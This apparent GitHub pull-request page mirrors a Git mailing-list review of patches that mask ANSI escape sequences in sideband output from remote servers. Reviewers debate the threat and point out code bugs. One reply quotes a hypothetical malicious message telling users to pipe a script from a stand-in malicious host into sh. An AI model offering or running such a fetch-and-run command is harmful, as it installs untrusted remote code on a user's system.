Sanitize sideband channel messages #1853
Open
Conversation
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
The output of `git clone` is a vital component for understanding what has happened when things go wrong. However, these logs are partially under the control of the remote server (via the "sideband", which typically contains what the remote `git pack-objects` process sends to `stderr`), and is currently not sanitized by Git. This makes Git susceptible to ANSI escape sequence injection (see CWE-150, https://cwe.mitre.org/data/definitions/150.html), which allows attackers to corrupt terminal state, to hide information, and even to insert characters into the input buffer (i.e. as if the user had typed those characters). To plug this vulnerability, disallow any control character in the sideband, replacing them instead with the common `^<letter/symbol>` (e.g. `^[` for `\x1b`, `^A` for `\x01`). There is likely a need for more fine-grained controls instead of using a "heavy hammer" like this, which will be introduced subsequently. Signed-off-by: Johannes Schindelin <[email protected]>
The preceding commit fixed the vulnerability whereas sideband messages (that are under the control of the remote server) could contain ANSI escape sequences that would be sent to the terminal verbatim. However, this fix may not be desirable under all circumstances, e.g. when remote servers deliberately add coloring to their messages to increase their urgency. To help with those use cases, give users a way to opt-out of the protections: `sideband.allowControlCharacters`. Signed-off-by: Johannes Schindelin <[email protected]>
The preceding two commits introduced special handling of the sideband channel to neutralize ANSI escape sequences before sending the payload to the terminal, and `sideband.allowControlCharacters` to override that behavior. However, some `pre-receive` hooks that are actively used in practice want to color their messages and therefore rely on the fact that Git passes them through to the terminal. In contrast to other ANSI escape sequences, it is highly unlikely that coloring sequences can be essential tools in attack vectors that mislead Git users e.g. by hiding crucial information. Therefore we can have both: Continue to allow ANSI coloring sequences to be passed to the terminal, and neutralize all other ANSI escape sequences. Signed-off-by: Johannes Schindelin <[email protected]>
|
/submit |
|
Submitted as [email protected] To fetch this version into To fetch this version to local tag |
|
On the Git mailing list, "brian m. carlson" wrote (reply to this): On 2025-01-14 at 18:19:29, Johannes Schindelin via GitGitGadget wrote:
> When a clone fails, users naturally turn to the output of the git
> clone command. To assist in such scenarios, the output includes the messages
> from the remote git pack-objects process, delivered via what Git calls the
> "sideband channel."
>
> Given that the remote server is, by nature, remote, there is no guarantee
> that it runs an unmodified Git version. This exposes Git to ANSI escape
> sequence injection (see
> CWE-150, https://cwe.mitre.org/data/definitions/150.html), which can corrupt
> terminal state, hide information, and even insert characters into the input
> buffer (as if the user had typed those characters).
I could certainly be mistaken, but I believe the report feature (e.g.,
title report), which is disabled for security reasons on all major
terminal emulators, is the only feature that can be used to adjust the
input buffer. If there are others, then those would definitely be
vulnerability in the terminal emulator, which is the place they should be
fixed.
> This patch series addresses this vulnerability by sanitizing the sideband
> channel.
>
> It is important to note that the lack of sanitization in the sideband
> channel is already "exploited" by the Git user community, albeit in
> well-intentioned ways. For instance, certain server-side hooks use ANSI
> color sequences in error messages to make them more noticeable during
> intentional failed fetches, e.g. as seen at
> https://github.com/kikeonline/githook-explode and
> https://github.com/arosien/bart/blob/HEAD/hooks/post-receive.php
>
> To accommodate such use cases, Git will allow ANSI color sequences to pass
> through by default, while presenting all other ASCII control characters in a
> common form (e.g., presenting the ESC character as ^[).
>
> This vulnerability was reported to the Git security mailing list in early
> November, along with these fixes, as part of an iteration of the patches
> that led to the coordinated security release on Tuesday, January 14th, 2025.
I think there is some disagreement as to whether this constitutes a
vulnerability. I personally don't agree with that characterization, and
a CWE is a type of weakness, not a vulnerability.
Note that all of these problems could also occur by SSHing into an
untrusted server, running `curl` without redirecting output, or running
`cat` on a specially crafted file at the command line. It is
specifically expected that people use SSH to log into untrusted or
partially-trusted machines, so this is not just a thought exercise.
None of those cases would be addressed by this series.
> While Git for Windows included these fixes in v2.47.1(2), the consensus,
> apart from one reviewer, was not to include them in Git's embargoed
> versions. The risk was considered too high to disrupt existing scenarios
> that depend on control characters received via the sideband channel being
> sent verbatim to the user's terminal emulator.
>
> Several reviewers suggested advising terminal emulator writers about these
> "quality of implementation issues" instead. I was quite surprised by this
> approach, as it seems overly optimistic to assume that terminal emulators
> could distinguish between control characters intentionally sent by Git and
> those unintentionally relayed from the remote server.
I've done some analysis of this approach after discussion on the
security list and I don't think we should adopt it, as I mentioned
there.
Where pre-receive hooks are available, people frequently run various
commands to test and analyze code in them, including build or static
analysis tools, such as Rust's Cargo. Cargo is capable of printing a
wide variety of escape sequences in its output, including `\e[K`, which
overwrites text to the right (e.g., for progress bars and status output
much like Git produces), and sequences for hyperlinks. Stripping these
sequences would break the output in ways that would be confusing to the
user (since they work fine in a regular terminal) and hard to
reproduce or fix.
There are a variety of other terminal sequences that I have also seen
practically used here which would also be broken. Other sequences that
could usefully be sent (but I have not seen practically implemented)
include sixel codes (which are a type of image format) that could be
used to display QR codes for purposes such as tracking CI jobs or
providing a "receipt" of code pushed.
I agree that this would have been a nice feature to add at the beginning
of the development of the sideband feature, but I fear that it is too
late to make an incompatible change now.
I realize that you've provided an escape hatch, but as we've seen with
other defense-in-depth measures, that doesn't avoid the inconvenience
and hassle of dealing with those changes and the costs of deploying
fixes everywhere. We need to consider the costs and impact of these
patches on our users, including the burden of dealing with incompatible
changes, and given the fact that this problem can occur in a wide
variety of other contexts which you are not solving here and which would
be better solved more generally in terminal emulators themselves, I
don't think the benefits of this approach outweigh the downsides.
I do agree that there are terminal emulators which have some surprising
and probably insecure behaviour, as we've discussed in the past, but
because I believe those issues are more general and could be a problem
for any terminal-using program, I continue to believe that those issues
are best addressed in the terminal emulator itself.
--
brian m. carlson (they/them or he/him)
Toronto, Ontario, CA |
|
User |
![gitgitgadget[bot]](https://avatars.githubusercontent.com/in/12836?s=60&v=4){kind=small}
| @@ -65,6 +65,19 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref | |||
| list_config_item(list, prefix, keywords[i].keyword); | |||
There was a problem hiding this comment.
On the Git mailing list, Phillip Wood wrote (reply to this):
Hi Dscho
Just a couple of small comments
On 14/01/2025 18:19, Johannes Schindelin via GitGitGadget wrote:
> From: Johannes Schindelin <[email protected]>
> > +static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
> +{
> + strbuf_grow(dest, n);
> + for (; n && *src; src++, n--) {
> + if (!iscntrl(*src) || *src == '\t' || *src == '\n')
Isn't it a bug to pass '\n' to maybe_colorize_sideband() ?
> + strbuf_addch(dest, *src);
> + else {
> + strbuf_addch(dest, '^');
> + strbuf_addch(dest, 0x40 + *src);
This will escape DEL ('\x7f') as "^\xbf" which is invalid in utf-8 locales. Perhaps we could use "^?" for that instead.
> +test_expect_success 'disallow (color) control sequences in sideband' '
> + write_script .git/color-me-surprised <<-\EOF &&
> + printf "error: Have you \\033[31mread\\033[m this?\\n" >&2
> + exec "$@"
> + EOF
> + test_config_global uploadPack.packObjectshook ./color-me-surprised &&
> + test_commit need-at-least-one-commit &&
> + git clone --no-local . throw-away 2>stderr &&
> + test_decode_color <stderr >decoded &&
> + test_grep ! RED decoded
I'd be happier if we used test_cmp() here so that we check that the sanitized version matches what we expect and the test does not pass if there a typo in the script above stops it from writing the SGR code for red.
Best Wishes
Phillip
|
User |
|
On the Git mailing list, Phillip Wood wrote (reply to this): Hi Dscho
On 14/01/2025 18:19, Johannes Schindelin via GitGitGadget wrote:
> When a clone fails, users naturally turn to the output of the git
> clone command. To assist in such scenarios, the output includes the messages
> from the remote git pack-objects process, delivered via what Git calls the
> "sideband channel."
> > Given that the remote server is, by nature, remote, there is no guarantee
> that it runs an unmodified Git version. This exposes Git to ANSI escape
> sequence injection (see
> CWE-150, https://cwe.mitre.org/data/definitions/150.html), which can corrupt
> terminal state, hide information,
I agree we should think about preventing an untrusted remote process from making it look like its messages come from the trusted local process. At best it is confusing and at worst it might trick a user into running a malicious command if they think the message came from the local git process. We need to be careful not to break existing legitimate output though. Brian has already highlighted the need to support '\e[K' (clear to the end of the current line), we may also want to treat '\e[G' (move to column 1 on the current line) as '\r' in addition to SGR escapes in the last patch.
> and even insert characters into the input
> buffer (as if the user had typed those characters).
Maybe I've missed something but my understanding from the link above is that this is a non-issue for terminal emulators released in the last 20 years. In any case I think that that is a security bug in the emulator and should be fixed there as it has been in the past. I found [1] to be much more informative than the mitre link above about the actual vulnerabilities.
Best Wishes
Phillip
[1] https://marc.info/?l=bugtraq&m=104612710031920
> This patch series addresses this vulnerability by sanitizing the sideband
> channel.
> > It is important to note that the lack of sanitization in the sideband
> channel is already "exploited" by the Git user community, albeit in
> well-intentioned ways. For instance, certain server-side hooks use ANSI
> color sequences in error messages to make them more noticeable during
> intentional failed fetches, e.g. as seen at
> https://github.com/kikeonline/githook-explode and
> https://github.com/arosien/bart/blob/HEAD/hooks/post-receive.php
> > To accommodate such use cases, Git will allow ANSI color sequences to pass
> through by default, while presenting all other ASCII control characters in a
> common form (e.g., presenting the ESC character as ^[).
> > This vulnerability was reported to the Git security mailing list in early
> November, along with these fixes, as part of an iteration of the patches
> that led to the coordinated security release on Tuesday, January 14th, 2025.
> > While Git for Windows included these fixes in v2.47.1(2), the consensus,
> apart from one reviewer, was not to include them in Git's embargoed
> versions. The risk was considered too high to disrupt existing scenarios
> that depend on control characters received via the sideband channel being
> sent verbatim to the user's terminal emulator.
> > Several reviewers suggested advising terminal emulator writers about these
> "quality of implementation issues" instead. I was quite surprised by this
> approach, as it seems overly optimistic to assume that terminal emulators
> could distinguish between control characters intentionally sent by Git and
> those unintentionally relayed from the remote server.
> > Please note that this patch series applies cleanly on top of v2.47.2. To
> apply it cleanly on top of v2.40.4 (the oldest of the most recently serviced
> security releases), the calls to test_grep need to be replaced with calls
> to test_i18ngrep, and the calls to git_config_get_string_tmp() need to be
> replaced with calls to git_config_get_string().
> > Johannes Schindelin (3):
> sideband: mask control characters
> sideband: introduce an "escape hatch" to allow control characters
> sideband: do allow ANSI color sequences by default
> > Documentation/config.txt | 2 +
> Documentation/config/sideband.txt | 16 ++++++
> sideband.c | 78 ++++++++++++++++++++++++++++-
> t/t5409-colorize-remote-messages.sh | 30 +++++++++++
> 4 files changed, 124 insertions(+), 2 deletions(-)
> create mode 100644 Documentation/config/sideband.txt
> > > base-commit: e1fbebe347426ef7974dc2198f8a277b7c31c8fe
> Published-As: https://github.com/gitgitgadget/git/releases/tag/pr-1853%2Fdscho%2Fsanitize-sideband-v1
> Fetch-It-Via: git fetch https://github.com/gitgitgadget/git pr-1853/dscho/sanitize-sideband-v1
> Pull-Request: https://github.com/gitgitgadget/git/pull/1853
|
| @@ -65,6 +65,19 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref | |||
| list_config_item(list, prefix, keywords[i].keyword); | |||
There was a problem hiding this comment.
On the Git mailing list, Andreas Schwab wrote (reply to this):
On Jan 14 2025, Johannes Schindelin via GitGitGadget wrote:
> diff --git a/sideband.c b/sideband.c
> index 02805573fab..c0b1cb044a3 100644
> --- a/sideband.c
> +++ b/sideband.c
> @@ -65,6 +65,19 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref
> list_config_item(list, prefix, keywords[i].keyword);
> }
>
> +static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
> +{
> + strbuf_grow(dest, n);
> + for (; n && *src; src++, n--) {
> + if (!iscntrl(*src) || *src == '\t' || *src == '\n')
The argument of iscntrl needs to be converted to unsigned char.
--
Andreas Schwab, [email protected]
GPG Key fingerprint = 7578 EB47 D4E5 4D69 2510 2552 DF73 E780 A9DA AEC1
"And now for something completely different."There was a problem hiding this comment.
On the Git mailing list, Junio C Hamano wrote (reply to this):
Andreas Schwab <[email protected]> writes:
> On Jan 14 2025, Johannes Schindelin via GitGitGadget wrote:
>
>> diff --git a/sideband.c b/sideband.c
>> index 02805573fab..c0b1cb044a3 100644
>> --- a/sideband.c
>> +++ b/sideband.c
>> @@ -65,6 +65,19 @@ void list_config_color_sideband_slots(struct string_list *list, const char *pref
>> list_config_item(list, prefix, keywords[i].keyword);
>> }
>>
>> +static void strbuf_add_sanitized(struct strbuf *dest, const char *src, int n)
>> +{
>> + strbuf_grow(dest, n);
>> + for (; n && *src; src++, n--) {
>> + if (!iscntrl(*src) || *src == '\t' || *src == '\n')
>
> The argument of iscntrl needs to be converted to unsigned char.
If this were system-provided one, you are absolutely correct.
But I think this comes from
sane-ctype.h:15:#undef iscntrl
sane-ctype.h:40:#define iscntrl(x) (sane_istest(x,GIT_CNTRL))
and sane_istest() does the casting to uchar for us, so this may be
OK (even if it may be a bit misleading).
|
User |
|
On the Git mailing list, Junio C Hamano wrote (reply to this): "brian m. carlson" <[email protected]> writes:
> Where pre-receive hooks are available, people frequently run various
> commands to test and analyze code in them, including build or static
> analysis tools, such as Rust's Cargo. Cargo is capable of printing a
> wide variety of escape sequences in its output, including `\e[K`, which
> overwrites text to the right (e.g., for progress bars and status output
> much like Git produces), and sequences for hyperlinks. Stripping these
> sequences would break the output in ways that would be confusing to the
> user (since they work fine in a regular terminal) and hard to
> reproduce or fix.
You have ruled out the attack vector that lets bytestream sent to
the terminal emulator to somehow cause arbitrary input bytes added
(which may require the final <ENTER> from the user but that is not
much of consolation), and I tend to agree with you on that point.
With that misfeature out of the picture, I am not sure why terminal
escape sequences that may clear or write-over things on the screen
are of particular interest. If the malicious remote end says
something like
To proceed, open another window and type this command:
$ curl https://my.malicious.xz/install.sh | sh
to its output, even if the message is shown with the "remote: "
prefix on the receiving local client, wouldn't that cause certain
percentage of end-user population to copy-and-paste that command
anyway?
> I agree that this would have been a nice feature to add at the beginning
> of the development of the sideband feature, but I fear that it is too
> late to make an incompatible change now.
So I am not so sure even it would have been a "nice feature" to disallow
sideband messages to carry terminal escape sequences to begin with.
> I realize that you've provided an escape hatch, but as we've seen with
> other defense-in-depth measures, that doesn't avoid the inconvenience
> and hassle of dealing with those changes and the costs of deploying
> fixes everywhere.
One more thing that I am not so happy about these "escape hatches"
is that they tend to be all or nothing (not limited to this round,
but common to other defense-in-depth attempts). Having to say "I
trust them completely" is something that would make people uneasy.
> We need to consider the costs and impact of these
> patches on our users, including the burden of dealing with incompatible
> changes, and given the fact that this problem can occur in a wide
> variety of other contexts which you are not solving here and which would
> be better solved more generally in terminal emulators themselves, I
> don't think the benefits of this approach outweigh the downsides.
>
> I do agree that there are terminal emulators which have some surprising
> and probably insecure behaviour, as we've discussed in the past, but
> because I believe those issues are more general and could be a problem
> for any terminal-using program, I continue to believe that those issues
> are best addressed in the terminal emulator itself. |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
When a clone fails, users naturally turn to the output of the
git clonecommand. To assist in such scenarios, the output includes the messages from the remotegit pack-objectsprocess, delivered via what Git calls the "sideband channel."Given that the remote server is, by nature, remote, there is no guarantee that it runs an unmodified Git version. This exposes Git to ANSI escape sequence injection (see CWE-150, https://cwe.mitre.org/data/definitions/150.html), which can corrupt terminal state, hide information, and even insert characters into the input buffer (as if the user had typed those characters).
This patch series addresses this vulnerability by sanitizing the sideband channel.
It is important to note that the lack of sanitization in the sideband channel is already "exploited" by the Git user community, albeit in well-intentioned ways. For instance, certain server-side hooks use ANSI color sequences in error messages to make them more noticeable during intentional failed fetches, e.g. as seen at https://github.com/kikeonline/githook-explode and https://github.com/arosien/bart/blob/HEAD/hooks/post-receive.php
To accommodate such use cases, Git will allow ANSI color sequences to pass through by default, while presenting all other ASCII control characters in a common form (e.g., presenting the ESC character as
^[).This vulnerability was reported to the Git security mailing list in early November, along with these fixes, as part of an iteration of the patches that led to the coordinated security release on Tuesday, January 14th, 2025.
While Git for Windows included these fixes in v2.47.1(2), the consensus, apart from one reviewer, was not to include them in Git's embargoed versions. The risk was considered too high to disrupt existing scenarios that depend on control characters received via the sideband channel being sent verbatim to the user's terminal emulator.
Several reviewers suggested advising terminal emulator writers about these "quality of implementation issues" instead. I was quite surprised by this approach, as it seems overly optimistic to assume that terminal emulators could distinguish between control characters intentionally sent by Git and those unintentionally relayed from the remote server.
Please note that this patch series applies cleanly on top of v2.47.2. To apply it cleanly on top of v2.40.4 (the oldest of the most recently serviced security releases), the calls to
test_grepneed to be replaced with calls totest_i18ngrep, and the calls togit_config_get_string_tmp()need to be replaced with calls togit_config_get_string().cc: "brian m. carlson" [email protected]
cc: Phillip Wood [email protected]
cc: Andreas Schwab [email protected]